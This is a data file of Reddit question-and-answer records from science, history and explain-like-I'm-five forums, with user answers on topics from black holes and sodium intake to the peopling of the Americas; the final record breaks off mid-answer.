{"q_id": "1qh138", "title": "Schwarzschild radius and Newtonian gravity?", "selftext": "Is it a coincidence that the Schwarzschild radius, a solution to general relativity where the escape velocity is equal to the speed of light, can be calculated using Newtonian gravity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qh138/schwarzschild_radius_and_newtonian_gravity/", "answers": {"a_id": ["cdcrx35", "cdcyo56", "cdd1ui5"], "score": [4, 7, 2], "text": ["Dimensional analysis.  There is only one way to combine powers of the gravitational constant, the mass of the black hole and the speed of light to make a length. The radius you obtain in either theory has to be the same up to a constant ratio. That ratio is one in this problem, but it could be different. For example, if you calculate the small deflection of sun-grazing light rays, you get half the GR result with classical mechanics.", "This is really a mathematical question, in-so-much as Newtonian Gravity is a separate theory from GR, and as such the notion of \"coincidence\" is a bit fuzzy here. I would call this a coincidence, however.", "Yes. Perhaps.\n\ntl;dr: A lot of GR is pre-determined for us by Newton. But the theoretical ground must depart on points relating to the behaviour of massless particles.\n\n\n\nAs others have identified, the key question is the factor of 2 out the front. Are the reasons for it to be 2 the same in both cases?\n\nI feel like the replies here are skirting around the issue. I hope I get a bit closer, but I feel I am missing the nub of the issue nonetheless. Here is what I would say about it. There are a few ingredients in this.\n\nLet us begin by understanding where the radius comes from in GR. We can find the Schwarzschild radius as follows.\n\nSuppose we have a non-rotating, spherically symmetric, massive body. The rest of spacetime is empty of matter (except possibly almost massless test particles) and all other fields.\n\nWe wish to solve the Einstein gravitational field equations outside that body in the vacuum. The field equations relate how spacetime is curved by the distribution of mass and energy. They are tensor equations which if fully expanded could have hundreds of interdependent terms. We should begin by getting rid of as much of it as possible by arguments to symmetry and the fact we are in a vacuum, away from our body.\n\nSince the body is non-rotating and spherically symmetric we can switch to spherical coordinates and say that our solution must be independent of azimuthal and polar angles.\n\nThis leaves us with only two coordinates to describe position in spacetime: being rather bold I shall call them 't' and 'r'. I can tell you that t is timelike and r is spacelike (this is a restriction about conserving causality, in effect, I do not my test particles communicating across delta r faster than permitted by c*(delta t)). You should not assume that 'r' here is the same as your coordinate 'r' you find in Newton's laws.\n\nObviously it turns out that actually they are the same. Why is Newton's 'r' the same as Schwarzschild's 'r'?\n\nWe need to stick some physics into our equations for them to describe nature. So far they are simply about 4D curved surfaces. We are left with some unknown functions relating the spacetime curvature with only the coordinates r and t, with little else to guide us. We consider the weak-field limit very far from the massive body, which by observations must correspond to Newton's laws.\n\nWe make a choice to define the Newton potential as -GM/r, thereby defining 'r' in its weak field, flat spacetime sense.\n\nWe could have picked instead -GM/x, where x is some other measure of radial distance to the object which is more convenient than 'r'. If we had done this, it would have changed the factor of 2 out the front.\n\nBack to our story: soon we have the \"Schwarzschild metric\" which tells us how bent the spacetime is in the area near 't' and 'r'. If you pick r=0, this produces a singularity in the equations; they cannot describe the behaviour of spacetime at this point.\n\nIf you pick r = 2GM/c^2 you get another singularity. This is of course the Schwarzschild radius. [It is not a \"real\" (\"intrinsic\") singularity, but rather a \"coordinate singularity\": a limitation imposed by some choices we made in finding Schwarzschild's solution to the field equations. Those limits were that I wanted t to be timelike and r to be spacelike. At the Schwarzschild radius those properties are swapped between the coordinates, but you can pick other coordinate systems in which this doesn't happen.]\n\nActually you need a deeper analysis to show that particles cannot escape this radius in GR. But we will not dwell on this point.\n\nSo that's one part down. We use the same definitions of length in both equations, so nowhere there, I think, to create numerical factors.\n\nRight. But what about 2/c^2?\n\nHere, the factor of 2 arises from requiring the Einstein field equations to describe correctly particle motions where there is (near-)zero spacetime curvature, such as particles following Kepler orbits around a star. This seems pretty close to the logic behind the \"Newton Schwarzschild\" limit, so perhaps this is what pins the two theories together?\n\nHowever, it is not really the same at all. A major consequence of SR and hence GR is that photons (and other massless particles) do not obey the same laws of motion as massive ones do. I suspect that in GR you cannot fix the validity of the Newton Schwarzschild limit without introducing a fatal contradiction.\n\nSource: my old undergraduate notes on GR, and a copy of Hobson, Efstathiou and Lasenby."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ao0smg", "title": "consuming sodium", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ao0smg/eli5_consuming_sodium/", "answers": {"a_id": ["efxfls1", "efxfn0b", "efxfyoq", "efxg80x"], "score": [4, 3, 3, 3], "text": ["sodium intake can be helped by exercise since sweating expells toxins and large amounts of sodiums. the best way to tell if youre sodium intake is too much, if you cant visually see it on yourself (bloating), is to press down on a boney part of your body with you thumb or index finger. hold for a few seconds and when released if there is an indentation of your thumb or index on the boney part then theres swelling . if youre not injured or have a previous ailment related to swelling then the swelling is probably from too much sodium intake. this method of checking for levels is after the fact. \n\nalso: yes sodium gets lost in cooked foods unless youre licking the plate amd pan clean. too much sodium is very bad for you on a daily basis. it can cause blood pressure levels to sky rocket along with other things like kidney stones which sound painful.", "Since sodium is one of the few water soluble minerals (in salt form, aka NaCl or sodium chloride), youll generally be fine to eat larger amounts of salt as long as you maintain drinking enough water, which is usually at least 2L a day.\n\nIf you drink more than that amount of water, or find yourself drinkig more water as you eat saltier, you may need to watch your potassium levels as the can be depleted if you over hydrate.", "Recommended daily sodium intake is 2300mg, or 2.3g. Most Americans eat far too much at around 3.4g.\n\nSweat contains about 500mg/lb sodium, so heavy exercise can cause you to lose sodium, but this is usually not an issue.\n\nExcessive sodium is not healthy. It will raise the \u201cosmotic potential\u201d of your blood and absorb more water, raising blood pressure. Your kidneys will filter out excess sodium, but it will take a Long time to restore the body to normal levels.\n\nNot sure what you mean by sodium lost in cooked/marinated foods. Sodium is an ion, it cannot be destroyed by cooking.\n\nThere are blood tests to measure the amount of sodium in your blood. There are also simple ways to check, such as if you\u2019re constantly thirsty, have puffy skin, or your blood pressure is higher than normal. These checks are not that accurate, and can also be caused by other problems rather than too much sodium.", "Excessive salt intake is generally not recommended do to its propensity to increase blood pressure. Some of this is being contested though. The best thing to ask is if you have blood pressure issues - if you do, then watching your salt intake is more important. Sticking to the RDA is advised, but it\u2019s a general rule, and does not necessarily apply equally to everyone. If you drink a lot of water and exercise, you will lose salt in sweat and urine, so should be able to take in more (if you drink a whole lot of water and/or exercise a whole bunch, then slightly more salt than the RDA might be recommended in order to offset this loss). \n\nWhat I\u2019m more interested in is what you are cooking that calls for a table spoon of salt. To me at least, that sounds a bit excessive just in terms of taste... cooking for portion sizes of two I don\u2019t often use more than a teaspoon max before things start to get too salty.  I also prefer to err on the side of too little salt. You can always sprinkle some more on the food after if you really feel it needs it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ndvnq", "title": "How come dogs and cats (and other animals) never bob their heads or tap their feet to the beat of a catchy song? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ndvnq/how_come_dogs_and_cats_and_other_animals_never/", "answers": {"a_id": ["c38bdel", "c38btd0", "c38cfl6", "c38bdel", "c38btd0", "c38cfl6"], "score": [4, 3, 2, 4, 3, 2], "text": ["Our African Grey parrot bobs his head, dances about, and shakes his wings when either he or I whistle something brand new.  It is definitely a dance and it is always in response to a new song (even his own). I know he picked it up originally from me where I would shake my head to his songs - but the other actions, like the dancing and wing waving are his own additions.\n\n(We encourage him to invent new melodies).\n\nEdit: My dogs and cats, on the other hand... don't seem interested in music", "Some theorize that it's because of an animal's capacity (or the lack thereof) for **vocal learning.**  This is why animals, like certain birds mentioned here that can mimic language, apparently do have the ability to bob their heads to music, while others, dogs and cats do not.\n\nIt's hypothesized that the ability to understand and move to rhythm is a by-product of the vocal learning traits.\n\nSources:\n_URL_2_\n_URL_0_\n_URL_1_", "Actually dogs do tap their feet _URL_0_", "Our African Grey parrot bobs his head, dances about, and shakes his wings when either he or I whistle something brand new.  It is definitely a dance and it is always in response to a new song (even his own). I know he picked it up originally from me where I would shake my head to his songs - but the other actions, like the dancing and wing waving are his own additions.\n\n(We encourage him to invent new melodies).\n\nEdit: My dogs and cats, on the other hand... don't seem interested in music", "Some theorize that it's because of an animal's capacity (or the lack thereof) for **vocal learning.**  This is why animals, like certain birds mentioned here that can mimic language, apparently do have the ability to bob their heads to music, while others, dogs and cats do not.\n\nIt's hypothesized that the ability to understand and move to rhythm is a by-product of the vocal learning traits.\n\nSources:\n_URL_2_\n_URL_0_\n_URL_1_", "Actually dogs do tap their feet _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://discovermagazine.com/2011/the-brain/14-natural-born-dancers-birds-bob-to-beats", "http://www.nsi.edu/users/patel/Patel_2006_Music_Perception.pdf", "http://news.bbc.co.uk/2/hi/8026592.stm"], ["http://www.youtube.com/watch?v=6Y2EewukBPE"], [], ["http://discovermagazine.com/2011/the-brain/14-natural-born-dancers-birds-bob-to-beats", "http://www.nsi.edu/users/patel/Patel_2006_Music_Perception.pdf", "http://news.bbc.co.uk/2/hi/8026592.stm"], ["http://www.youtube.com/watch?v=6Y2EewukBPE"]]}
{"q_id": "e5fhsf", "title": "- what would happen if we plugged in 2 power banks into each other", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e5fhsf/eli5_what_would_happen_if_we_plugged_in_2_power/", "answers": {"a_id": ["f9jevqd", "f9jgskx", "f9jikot", "f9jj9r0", "f9jo08a", "f9jo6r6", "f9jq10d"], "score": [101, 19, 2, 9, 2, 6, 2], "text": ["I believe it would be power loss through resistors and the wires through which they travel through. It would be lost in the form of heat. Also if said banks had leds on them. Though I\u2019m no electronic master I do think that\u2019s what would happen.", "The power banks would charge each other when the other one is on a lower charge. The transferring of the power will be lost as overhead. Eventually the cumulative overhead will deplete the batteries.", "Every conductor that is not a superconductor has internal resistance. Even the battery itself has it. If the power output of a cell is 1V we can get only 0.95V out of it (numbers not real in this example) even before it goes to the next stage which is control and protection circuits. Those also need electricity, so after that stage, we have 0.9V left. Charging also is not 100% efficient so by the time it reaches the other power bank cells, we are at 0.7V. The energy that is lost is is mainly heat. Lithium ion batteries are great compared to what we had before that the internal resistance is very low and it does not discharge on its own. Nickel-Cadmium for ex loses energy while sitting unused. Li-ion also has greater energy density, they really are the main invention of this era..", "The other posters are right that there would be a loss to heat via the wiring and connectors etc, but there would also be a loss due to the voltage regulation. These chargers have regulators inside designed to shift the voltage up or down. This is needed because the battery voltage varies, depending on how charged it is, while the output and input voltages should be constant (5V for most USB devices), These regulators are efficient, but inevitably lose a small fraction of the power that crosses them, and this will be a bigger loss that the cabling. \n\nBoth power banks will have some electronics inside them, to run those regulators but also to display the status LEDs or other features of the power bank. This will also drain a small amount of power.\n\nAll of these effects will convert electrical energy to heat (with a tiny amount emitted as sound or LED light - which then becomes heat  too :p ).", "Energy transfer through cables isn't lossless, nevermind other components. Resistance of the conductor will result in a part of the energy being transformed into heat, and dissipating. So, after a very long time both will be drained.", "Interdimensional Officer Nexpla badge 223ze663 checking in -- we got a report that someone had ripped a hole in space-time and were directed to this thread as a possible point of origin.\n\nWhatever you were doing, please cut it out.", "This is better in r/answers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "10kocv", "title": "Why do neurons decussate?", "selftext": "A lot of neurons decussate or cross over to opposite side of the body, so the left side of your brain controls the right side of the body. Why? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10kocv/why_do_neurons_decussate/", "answers": {"a_id": ["c6ealx0"], "score": [3], "text": ["We don't know for sure, but [this Lancet neurology paper from 2005](_URL_1_) discusses some likely hypotheses:\n > The crossing of nerve tracts from one hemisphere in the brain to the contralateral sense organ or limb is a common pattern throughout the CNS, which occurs at specialised bridging points called decussations or commissures. Evolutionary and teleological arguments suggest that midline crossing emerged in response to distinct physiological and anatomical constraints. Several genetic and developmental disorders involve crossing defects or mirror movements, including Kallmann's and Klippel-Feil syndrome, and further defects can also result from injury. Crossed pathways are also involved in recovery after CNS lesions and may allow for compensation for damaged areas. \n\n[This image](_URL_0_) depicts the contralateral stimulus idea in both simple (unlimbed animals) as well as more complex limbed ones.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/z2s1T.jpg", "http://www.ncbi.nlm.nih.gov/pubmed?term=Reaching%20beyond%20the%20midline%3A%20why%20are%20human%20brains%20cross%20wired%3F"]]}
{"q_id": "3ehi5i", "title": "what is a topological space?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ehi5i/eli5_what_is_a_topological_space/", "answers": {"a_id": ["ctf1ue4", "ctf5j72"], "score": [4, 2], "text": ["This question is kind of hard to answer without knowing your level of involvement in math.\n\nCould you shortly sum up what (if anything) you know about set theory?", "To get a little bit of intuition for some topological properties, remember things you learned about continuous functions in calculus. Continuous functions are exactly those functions which preserve topological structure. (They are to topological spaces what group homomorphisms are to groups, e.g.) So the topological structure of the real line has nothing to do with addition, multiplication, or distance, since continuous functions don't generally preserve these structures.\n\nHowever, a continuous function takes a connected interval to a connected interval (i.e. if the domain has no gaps, neither does the range). You may know this as the Intermediate Value Theorem. It also takes a compact (closed, bounded) interval to a compact interval. This is the Extreme Value Theorem. Since the only assumption on the function is continuity, this suggests that connectedness and compactness are both topological properties.\n\nEdit: I shouldn't have said that the topological structure has \"nothing to do with\" the algebraic structure and metric (distance). The algebraic and topological structures are compatible (addition and multiplication are continuous) and the metric actually gives rise to the topology, making the real line into a special kind of topological space called a \"metric space.\" However, if you want to think about the most general properties of a topological structure, then you might be better to ignore this extra structure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "an6bcd", "title": "Why does the electrons in the anode in a galvanic cell go through a conductor and not just immedietly reacts with the electrolyte?", "selftext": "So in school we've working with the properties of metals and just recently went over how galvanic cells work. \nNow the thing is I cannot find anywhere (even in our given reading material) why the electrons of the anode don't immediately react with the positively charged ions in the electrolyte but instead go through a conductor to the cathode and then reacts with the electrolyte. \n\nAn example is if you have a piece of Zinc and a piece of Copper in hydrochloric acid and connect them with an electrical conductor electrons flow from the oxiding Zink to the Copper and then reduces the hydrogen into gas. Why don't the electrons immediately react with and reduce the hydrogen that is close by?\n\nIt is not something we need to know but I like physics and chemistry so I personally want to know.\n\nSorry if formatting is bad (I'm on my phone) or my question is badly written (English is my second language).", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/an6bcd/why_does_the_electrons_in_the_anode_in_a_galvanic/", "answers": {"a_id": ["efrt4jk"], "score": [5], "text": ["So in general, the conductivity of your electrolyte is going to be on a completely much smaller order of magnitude relative to the conductor (10^2 vs 10^7 or something) so naturally the electrons move through the path of least resistance; the conductor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2olg5z", "title": "why is it that i usually see internet content on reddit/imgur first before it surfaces on facebook, twitter, etc.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2olg5z/eli5why_is_it_that_i_usually_see_internet_content/", "answers": {"a_id": ["cmo8xa4", "cmo8xm3"], "score": [2, 4], "text": ["_URL_0_ heres a general diagram for the flow of OC on the internet. Internet jokes from neckbeards sit in their pools for a while, then flow in more \"normal\" places which then introduce it to even more \"normal\" places to the point it gets to the average person who usually doesn't understand the original joke.", "Why is it that I always see clearly pointed questions that tend to skew heavily towards the redditor demographic on this sub? \n\nBut to answer your question, many people browse reddit to find content that they can share on Facebook, some of them happen to be high profile admins for certain pages. Same thing applies for other sites."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["imgur.com/MXu678T.jpg"], []]}
{"q_id": "51fh89", "title": "Do the Kalash people of Afghanistan really have direct cultural memory of the soldiers of Alexander the Great? Has any kind of event been accurately transmitted through over 2 millenia?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/51fh89/do_the_kalash_people_of_afghanistan_really_have/", "answers": {"a_id": ["d7ckkqw"], "score": [16], "text": ["You'll forgive my answer, the topic itself is not incredibly well studied and I myself am only slowly learning how to write for this sub-reddit. The short answer would be \"no\".\n\nWe tend to highly over-estimate the ability of cultures to retain direct memories of antique events, partially due to our own bias due to how we (erroneously) view our own relationship with antiquity. If you're interested in oral history I'd suggest starting with Vansina's book in the topic.\n\nNow, the first thing we need to do when considering stuff like this is postulate a line of transmission. What do they know? how do they know it? how *could* they know it? The idea that these people have a direct link to the Greek past is highly unlikely.\n\nIt's worth pointing out that stories of Alexander are found all over the region, but the stories are decidedly non classical in nature. What happened was, there were sub literary versions of Alexander's conquest in Greek. These got passed into Persia and were worked up into narratives in Middle Persian, often with Persian stories. Then the Arabs came and these stories spread far and wide in the Islamic world.\n\nThis is by far the more likely source for the story of a link here. Remember, the Kalash are exotic (but even their unique religion betrays considerable Islamic influence) and would be the focus of much theorising by antiquarians (east and west) and live in an area where these stories were always current. It's easy to see why and how they grew attached to the tribes.\n\nAny further research should start with the \"Alexander Romance(s)\" themselves. I believe Richard Stoneman has produced popular work in this area alongside his academic stuff. \n\nHope that helps. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aylxrf", "title": "If ancient humans migrated into the Americas via a land bring across the Bering Sea then spread from north to south, why are the oldest settlements in the Americas located in Central America and South America, with relatively younger and less evidence of ancient peoples in North America?", "selftext": "For example, I'm looking at information about the age of ancient settlements found here:\n\n_URL_0_\n\nEdit: First, apologies for implying Mexico was not part of North America. I should say the oldest settlements seem to be in Mexico, Central America, and South America, and I'm wondering why there aren't older settlements in what is now Canada and the United States.\n\nThough I'm intrigued by this theory that seafaring peoples may have populated lost cities on the Pacific Coast of North America, it's hard to entertain this without more evidence. Underwater ruins have been discovered in other places, like the Mediterranean (though the oldest one seems to be Pavlopetri in Greece, about 5,000 years old, and it seems like the California coast was submerged more than 11,000 years ago).\n\nIt also still troubles me that there aren't lasting settlements further inland as old as those in Mexico or South America. The Pacific Coast has very fertile land further inland, like the Central Valley and Columbia River Valley, which seems like it could have sustained ancient agriculture. There is also evidence of people living in the very fertile lands of the Southern and Eastern US, yet the oldest known city in the US seems to be Cahokia in Illinois, only about 1,400 years old.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aylxrf/if_ancient_humans_migrated_into_the_americas_via/", "answers": {"a_id": ["ei23q59", "ei27q18", "ei38krh"], "score": [70, 18, 59], "text": ["/u/400-rabbits has answered a version of this question with punny [horticultural flair](_URL_0_) before.\n\nEDIT: /u/Snapshot52 has [an answer](_URL_1_) about a North American \"cradle of civilization\" with links galore.", "I'm sorry if this post violates the rules, but I'm wondering if there's any support from historians of the theory that the North American civilizations and settlements were wiped out by natural disasters (volcano eruption, ice age) or if this is still relegated to the realm of conspiracy theory.", "I've never seen this list of cities in the Americas list before. I have some reservations about calling sites like Aspero or Caral cities. I'm less familiar with central America, but the Andean cases are suspect. Anyway, the definition of a city is not straightforward or easy, so there's loads of room for debate on that matter. Michael Smith, an expert on urban archaeology, [sums it up well in a series of definitions posts. In his latest one he basically says screw definitions and you know a city when you see one](_URL_5_).\n\nBut there's another issue here: you say you are looking at a list of earliest settlements, but it is a list of earliest *cities.* Ignoring what I just said about this list, if we accept that all of these are indeed cities, that still is a tiny sample of all settlements in the Americas. Urban living is a very specific type of settlement, and comes into existence as a result of various historical, demographic, and economic reasons. \n\nMost settlements are not cities. Urban living is earlier in Central and South America than it is in North America for various reasons (worthy of another question post). But the key point here is that cities are not a direct outcome of time spent in a region, but a product of specific developments. [Smith discusses this in many of his papers](_URL_22_), but [his 2002 article is a good overview.](_URL_6_)\n\nSo now that we've gotten the cities and semantics aspect out of the way, let's look at your question. Essentially, we need to look at two things: how old are the oldest sites in South America, and how old are the oldest ones in North America?\n\n**South America**\n\nAs /u/Gus_Frin_g said, Monte Verde is the earliest confirmed settlement in South America. While 14,500 years ago has been an accepted date, Dillehay has always said it is older. [Dillehay et al. (2015)](_URL_4_) conclude that it was settled sometime between 15,000 - 20,000 years ago, and [Perez et al. (2016)](_URL_19_) support a similar date. The [Arroyo Seco site in Argentina was settled by at 14,000 years ago](_URL_17_), suggesting that the southern cone of South America had a growing population by then.\n\nWhat about the rest of South America? The Pedra Furada site in Brazil has long been argued to have some very ancient dates (as early as 30,000 years ago), but most archaeologists have not accepted this. More recently, [new research says the site is at least older than 20,000 years old](_URL_14_), but this is still not widely accepted. The main issue is whether the stones that they claim are tools are actually tools, or are natural stones that look tool-like (this sounds straightforward, but some stones stump even experienced stone tool analysts. I speak from experience here). There are actually a few sites in North America that have also been said to date to before 20,000 years ago, but [Tune et al. (2018) have argued that all of these sites are entirely natural](_URL_12_), and are not in fact archaeological sites.\n\nOn the other side of the continent, the site of Huaca Prieta in Peru has basically been continually occupied forever, [with an early date of around 15,000 years ago](_URL_11_). \n\n[Brandini et al. (2017)](_URL_18_) date the separation of various genetic lineages in South America. They conclude that migration into South America happened quickly after North America was first occupied, and they put 14,500 - 16,000 years ago as the likely first occupation of South America. \n\nThere is a lot of debate around any individual early find, but taken together we have good evidence for people in South America definitely by 14,500 years ago, maybe by 16,000 years ago, and mayyyyyyybe earlier. So we can use that as our date for earliest settlements of South America.\n\n**North America**\n\nWhich brings us to your actual question: why aren't there older and more settlements in North America if people came from Beringia? Well, there are:\n\n* [Bluefish Caves, in Yukon, has evidence of human activity that dates 20,000 - 24,000 years ago.](_URL_3_) This was likely unrelated to later occupation of the continent (supporting an idea called the Beringian Standstill hypothesis).\n* [The Page-Ladson site in Florida is well-dated to 14,500 years ago](_URL_7_) (they collected 71 radiocarbon dates. With radiocarbon dates, more is better. 71 is a ton.)\n* There's lots of debate around the Debra L. Friedkin site in Texas. [Some papers argue that it is as old as 15,000 - 13,000 years old](_URL_13_). Questions about the dating method (Optically-Stimulated Luminescence, or OSL) is the source of much of this debate, [but it is a pretty reliable method](_URL_20_). \n* Nearby, the Gault Site is a well-known Clovis Period (13,500ish to 12,500ish) site. Last summer they found some artifacts below the Clovis layers. [They date these layers to at least 16,000 years ago and suggest that people may have lived throughout the continent by then.](_URL_8_) This is a new find so it has not been subjected to much additional research, but they also used OSL to date these layers.\n* Paisley Caves in Oregon has coprolites (preserved poo) that give the earliest human DNA in the Americas. [The site is definitely pre-Clovis, and the coprolites have an estimated age of 14,500 - 16,000 years ago](_URL_0_)\n* The Meadowcroft Rock Shelter in Pennsylvania was one of the first sites known to have evidence of Pre-Clovis occupation, and also the most contentious. There was a ton of debate about their dates, and whether they were accurate or contaminated. As far as I know this is not entirely settled, but the fact that there are so many other sites older than 13,000 years ago lends credence to Meadowcroft as well, and to the possibility of it dating 14,000 - 15,000 years ago. A couple of good short overviews are in [this article.](_URL_15_) and [in this one.](_URL_9_)\n* One of the leading hypotheses for how people got into North America says that they travelled along the coast of Alaska, B.C., and Washington and moved inland south of the glaciers. [There were various places along the coast, that may have been habitable, and many more submerged coastlines that are difficult or impossible to study archaeologically](_URL_1_) The other leading hypothesis (an inland ice-free corridor on the east side of the Rockies) is faltering but is not yet rejected.\n* Michael O'Brien, who has worked on the archaeology of North America since the 70s, [recently published an overview of this whole topic.](_URL_2_) He will go into a lot more detail than I can. He sees the earliest solid evidence of humans in North America at 14,500 - 15,300 years ago.\n\nThere are others. [A lot of others, if we include all of the ones that are more suspect](_URL_21_), but I have been avoiding doing real work for long enough so I'll wrap this up. The [emerging picture](_URL_13_/tab-figures-data) shows that people came into North America (south of Alaska  &  the Yukon, at least) by around 16,000 years ago and spread rapidly throughout both North and South America. [The Clovis period with its famous fluted points was a local innovation on an already populated continent](_URL_10_). \n\nNorth and South America were, in a sense, occupied simultaneously, at least at the scales that we can observe archaeologically (we typically have error ranges of a few centuries when looking at dates this old). With more data we should be able to get a more precise picture, but we always say that about everything we study.\n\n**Note:** I've tried to find open-access articles or things that you can get on Researchgate (with an account). Let me know if you can't access a source and I'll try to find an open copy or a similar article that is open access.\n\n*Edits: tidying up wording and typos. May have missed some.*"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/List_of_cities_in_the_Americas_by_year_of_foundation"], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/zgoyi/why_was_farming_and_urban_society_not_as/c64nwv5?context=1", "https://www.reddit.com/r/AskHistorians/comments/7s7usq/why_did_no_cradle_of_civilization_develop_in/dt2uzt4/"], [], ["https://hf-mirror.net/_cdn/s3.amazonaws.com/academia.edu.documents/40663338/P_Geochronology_Archaeological_Context_a20151205-2389-o5gtr9.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&amp;Expires=1552072878&amp;Signature=I6xqBPFOJHWwKkN43U2D%2FvF4iMI%3D&amp;response-content-disposition=inline%3B%20filename%3DP_Geochronology_Archaeological_Context_a.pdf", "http://advances.sciencemag.org/content/4/8/eaat5473", "https://www.mdpi.com/2571-550X/2/1/1", "https://doi.org/10.1371/journal.pone.0169486", "https://doi.org/10.1371/journal.pone.0141923", "https://wideurbanworld.blogspot.com/2018/07/defining-cities-and-urbanism-2018_29.html", "https://www.public.asu.edu/~mesmith9/1-CompleteSet/MES-02-EarlyCities.pdf", "https://www.researchgate.net/publication/303052097_Pre-Clovis_Occupation_14550_Years_Ago_At_The_Page-Ladson_Site_Florida_And_The_Peopling_Of_The_Americas", "https://ecommons.txstate.edu/handle/10877/7317", "https://scholarcommons.sc.edu/cgi/viewcontent.cgi?article=1026&amp;context=sciaa_staffpub", "https://www.researchgate.net/publication/269690575_The_Millennium_Before_Clovis", "http://advances.sciencemag.org/content/3/5/e1602778.full", "https://www.researchgate.net/publication/323561740_Assessing_the_Proposed_Pre-Late_Glacial_Maximum_Human_Occupation_of_North_America_at_Coats-Hines-Litchy_Tennessee_and_other_sites", "http://advances.sciencemag.org/content/4/10/eaat4505", "https://www.researchgate.net/publication/265421105_A_new_late_Pleistocene_archaeological_sequence_in_South_America_The_Vale_da_Pedra_Furada_Piaui_Brazil", "https://www.researchgate.net/publication/268149509_The_First_Americans_A_Review_of_the_Evidence_for_the_Late-Pleistocene_Peopling_of_the_Americas", "http://advances.sciencemag.org/content/4/10/eaat4505/tab-figures-data", "https://doi.org/10.1371/journal.pone.0162870", "https://doi.org/10.1093/molbev/msx267", "https://doi.org/10.1016/j.quaint.2016.05.004", "https://www.researchgate.net/publication/301239583_Optically_Stimulated_Luminescence_Dating_and_the_Peopling_of_the_Americas", "https://wattsupwiththat.wordpress.com/2017/03/14/why-did-the-buffalo-cross-the-land-bridge/", "https://www.public.asu.edu/~mesmith9/Publications.html"]]}
{"q_id": "6kf8du", "title": "why does the us gov have boneyards for airplanes rather than selling for scrap?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6kf8du/eli5_why_does_the_us_gov_have_boneyards_for/", "answers": {"a_id": ["djlk97w", "djlkou3", "djlqmno", "djlr8xj"], "score": [3, 28, 4, 2], "text": ["They can't sell them to most foreign countries and others don't want them. There are also agreements to destroy some with visibile evidence from a satellite. Others are temporarily parked until there is a need or for parts. ", "Because the boneyard itself is effectively a spare part repository for other planes that are still active; if you have 100 planes and only need 50, using the other 50 as spare parts donors is more cost effective than selling them off (either as intact planes or as scrap metal) and then trying to use the cash to pay for custom replacement parts as you go. Not to mention that striking aircraft from inventory, arranging their sale, and transporting them out of the country to a buyer is a lot more hassle than just parking them in the desert, pulling out all the consumables (fuel, ammunition, batteries, etc), and covering the sensitive bits in plastic. \n\nAdditionally, a lot of airframes moved to the boneyard have the potential to be re-activated for significantly cheaper than what it would cost to build a new one, especially if the aircraft itself is out of production. Getting a company to set up a production line, train employees, etc., can be psychotically expensive, especially if you're not going to buy a lot of planes. \n\nAs u/Witty-User_name mentioned, there are also treaty demands, particularly when it comes to nuclear non-proliferation treaties and demonstrating compliance to those treaties. You take your nuke delivery vehicle, smash the crap out of the structurally critical components, and leave it out where people can see. They can still act as spare parts donors, but are past salvage for reactivation themselves.", "Basically the USA and USSR agreed to put some of their air forces beyond use as part of arms reduction agreements. But how do you know your enemy has actually decommissioned their planes? They won't let you March in and inspect. And you don't want to turn over the wreckage (as it's still full of military design secrets). \n\nSo you take the planes to an outside place and cut the wings off. Your enemy can see the planes in enough detail to know they're real the next time their spy satellite passes over. And cutting the wings off means they're beyond repair. Plus no one can see them in more detail than they could before. \n\nThat's why the government has these plane graveyards. ", "Some planes are declared obsolete, and once all the useful parts have been scavenged from them, they are indeed torn up for scrap. The can holding your next Red Bull might have a little Boeing 727 in there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1c21lt", "title": "How many calories does an ant colony need?", "selftext": "I'm sure there is a lot of variation among ant types, but I saw one crawling across my counter and wonder how much food the colony has to find in order to sustain, to grow, etc. \n\nI'm also curious as to what happens to any human food they might find. Do they have a pantry filled with my food they hit up for a snack or is it processed into something else?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1c21lt/how_many_calories_does_an_ant_colony_need/", "answers": {"a_id": ["c9cbgy8", "c9cogaq"], "score": [21, 3], "text": ["Colonies needed =1.14 \u00b1 0.29 (Standard deviation) Kcal of food per gram of colony per week to sustain themselves. [This](_URL_0_ paper gives that answer but it is for a specific fire and colony (Hymenoptera Formicidae). Not sure about the other stuff.", "Source: I had my own ant colony and did a short research paper (30p) about them\n\nHow much food a colony needs depends on the species. Some species that are more common in Australia and tend to have smaller colonies (because they are more 'warrior-like') will obviously need less food/nutrition than really big hives with several million individuals.\n\nMy colony consisted of about 1000workers of south east asian weaving ants. The food they were provided was a) a sugar-water-solution and b) mealworms since they were non-vegetarians. I can't give you precise data about the sugar used in a week but it was around 5-10ml depending on the appetite of the colony. They also ate about 0,2g of mealworms per 1-2 days. This I can say with more certainty since my research had to 